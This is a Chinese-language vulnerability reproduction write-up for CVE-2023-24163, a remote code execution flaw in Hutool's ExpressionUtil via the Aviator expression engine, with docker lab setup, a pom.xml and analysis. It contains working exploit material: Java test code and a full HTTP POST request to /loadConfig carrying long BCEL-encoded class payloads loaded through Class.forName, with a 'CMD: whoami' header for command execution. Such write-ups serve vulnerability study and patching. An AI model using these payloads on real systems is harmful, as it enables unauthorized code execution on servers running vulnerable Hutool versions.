文章

Dromara_hutool_aviator表达式注入漏洞(CVE-2023-24163)

Dromara_hutool_aviator表达式注入漏洞(CVE-2023-24163)

1 漏洞简介

Hutool是一个功能丰富且易用的Java工具库,通过诸多实用工具类的使用,旨在帮助开发者快速、便捷地完成各类开发任务。 这些封装的工具涵盖了字符串、数字、集合、编码、日期、文件、IO、加密、数据库JDBC、JSON、HTTP客户端等一系列操作, 可以满足各种不同的开发需求。

Dromara hutool v5.8.11 中的 SQL 注入漏洞允许攻击者通过 aviator 模板引擎执行任意代码。

2 影响范围

hutool <= v5.8.11

3 环境搭建

3.1 导入docker image

1
docker load -i polarvul_dromara_hutool_cve-2023-24163.tar

3.2 启动容器

1
docker run -d --name polarvul_dromara_hutool_cve-2023-24163 -p 10001:8080 polarvul_dromara_hutool_cve-2023-24163:vul

4 漏洞分析

测试环境:JDK<=JDK8u251 ,maven

pom.xml依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.googlecode.aviator/aviator -->
        <dependency>
            <groupId>com.googlecode.aviator</groupId>
            <artifactId>aviator</artifactId>
            <version>5.3.3</version>
        </dependency>
        <dependency>
            <groupId>cn.hutool</groupId>
            <artifactId>hutool-all</artifactId>
            <version>5.8.4</version>
        </dependency>
    </dependencies>

测试代码:

1
2
3
4
5
6
7
8
9
import cn.hutool.extra.expression.ExpressionUtil;

public class Main {
    public static void main(String[] args) {
        String exp = "Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3d$D$85B$zo$f1$fdb$r$b8$a0$hw$Q7$8a$h$f0$R1$b8$$$e3$E$HKKJ$n$fc$91k6j$5c$f8$B$7e$94$f1N$r$80$b1I$ef$c9$3ds$k$9d$7e$7d$7f$7c$C8E$c9$80$8eu$DEl$q$b0$a9pK$c7$b6$8e$j$j$bb$M$f1$batep$c6$Q$zW$3a$M$da$b9$f7$u$Y2$z$e9$8a$eb$f1$a0$x$fc$7b$bb$eb$Q$93oy$dcv$3a$b6$_$d5$3e$t$b5$e0I$8e$94$da$f3$7b$d6$85$YxVc$o$9d$gC$a2$ce$9dyn$aa$j$d8$fc$f9$ca$k$86$kjf0$da$de$d8$e7$e2R$aa$8c$a4$b2T$fb$f6$c46$91$40R$c7$9e$89$7d$iP$G$f5$f1$aa$98$K$T$878b$u$u$8d$e5$d8n$cfjL$b9$Y$G$d2s$v$feO5Cv$a9$ba$e9$f6$F$P$YrK$ean$ec$Gr$40$adFO$E$8b$a5X$ae$b4$fei$e8$W$g$95s$86$e3$f2$cai$3b$f0$a5$db$ab$ad$gn$7d$8f$8b$d1$a8$86$S$e2$f4$ab$d5$T$BS$97$a1i$d0f$R2$c2$d8$c9$h$d8$y$3c$5e$a3$Z$P$c9$uL$9a$e6$af$A$v$a4$J$T$c8$y$cc$cd0$MH$bf$p$92$8f$beB$7bx$81$d6$9c$85$5c$92$7c1JPiiB$95$99$a4OHQ$82$Z$f6$AYzuDZ$3ar$mS$3e$a4$L$3f$qO$d5$f4$k$C$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader());";
        final Object eval = ExpressionUtil.eval(exp, null);
        System.out.println(eval);
    }
}

该漏洞存在于hutoolExpressionUtil这个类,该类是用来处理表达式的而且使用 Aviator 模板引擎,当解析不受信任表达式字符串时,可能容易受到代码执行攻击(CVE-2021-41862),尽管使用是 Aviator 当前最新的版本(5.3.3)依然会受影响。

image-20240312163225776

下方可以看到this.engine其实是AviatorEvaluator.getInstance()而当传入的expression可控,这里就可以集合CVE-2021-41862这个漏洞造成RCE。

image-20240312163316396

结合BCEL可实现加载任意类。BCEL Classloader在 JDK < 8u251之前是在rt.jar里面,所以要求JDK < 8u251

BCEL具体介绍:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#/

5 漏洞复现

根据上方,定位到漏洞点,且Expression可通过控制Json控制。

image-20240312170826460

POC:

POST /loadConfig HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxx
CMD: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*

{"Expression":"Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9$7b$TU$U$ff$dd6$c9L$a7$D$a5iK$h$f6E$miiB$d9i$xR$dab$91$b4$m$v$d4RP$t$d3$dbv$e8d$sL$s$a5$e0$be$x$ee$h$8a$b8$n$w$fa$f9$c4K$e8$a7$l$7c$3e$fb$a0$_$be$fa$e4$93$be$f8$l$88$e7f$SHhP$fb$7d$3d$f7$de$b3$dc$b3$fc$ce$b9$93$9f$fe$fe$fe$G$80$ad$f8VA$N$O$vx$Q$87$FI$c8$YVp$EGe$8cHxH$81$84Q$J$c7$U$8c$e1$b8$8c$T2$k$96$f1$88$8cGehB$96$94$a1$cb$Y$97$c0$85$c6$84$8cI$ZS$K$M$9cT$d0$80i$Z$a6XS2$y$Z$b6$8c$b4pvJ$86$p$n$a3$c0EV$90$Z$F$a71$ab$60$V$ce$c88$x$d6$c7$Ey$5c$c6$T2$9e$94$f0$94$82V$3c$z$e1$Z$86$40$b7a$Z$een$86$eap$e4$u$83$af$d7$k$e7$Muq$c3$e2C$d9T$92$3b$c3Z$d2$qN0n$eb$9ayTs$Mq$$0$7d$ee$94$91aX$Y$b7$9d$c9X$lO$d9$b1$fe$d9t$X$83$dc$ad$9b$85k$abf61$d4$c7Oj3Z$cc$d4$ac$c9X$af$a9e2$5dB$d0$c1$b0$a4D$e0$f0$J$93$ebnl$90$bbS$f6x$5ec$b3$f0$7b$5b$e3$60$f2$q$v$e4$r$5b$E$d9$w$c86A$b6$L$b2C$90$9d$82$ec$w$b7K$b8$8eaM$92$5d$f5L$HE$d30VI$e6$9f$d1$9c$O$K$a9$a9D$d8$3f$ab$f3$b4k$d8$W$c9$X$q$5cM$9f$k$d4$d2$f9$dc$JH$J$cf$S$8c$84$93$84$3e$w$v$83$92$b0$b3$8e$ce$f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3Y$f2$a8$b2Al$c3v$3a5$b3$bd$d8A$3e$ZV$b3$9d$d8$85Nj$a0$5e$b6$Y$5d$c4$ab$c6$Q$abE7$f1$7c$Y$a5$f0$ef$a5$9d$9f$e2$f9$T$bbI$g$a0$a8$7e$c1$7d$b4$93$u$a6$i$f6$90T$a6$c8$$$a1$H$7b$a9$b1n$e0$o$e5$d1$H$85$bc$fb$d1$8f$7d$e4$ed$7e$fa$df$O$dfM$K$b8V$c2$80$84$fd$S$k$uRo$e3$ed$PH$88$D$b57$a9JT6$J$83$7e$8ap$u$df$de$H$ff$BJ$p2$3f$e7$K$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader());"}

image-20240312171122326

本文由作者按照 CC BY 4.0 进行授权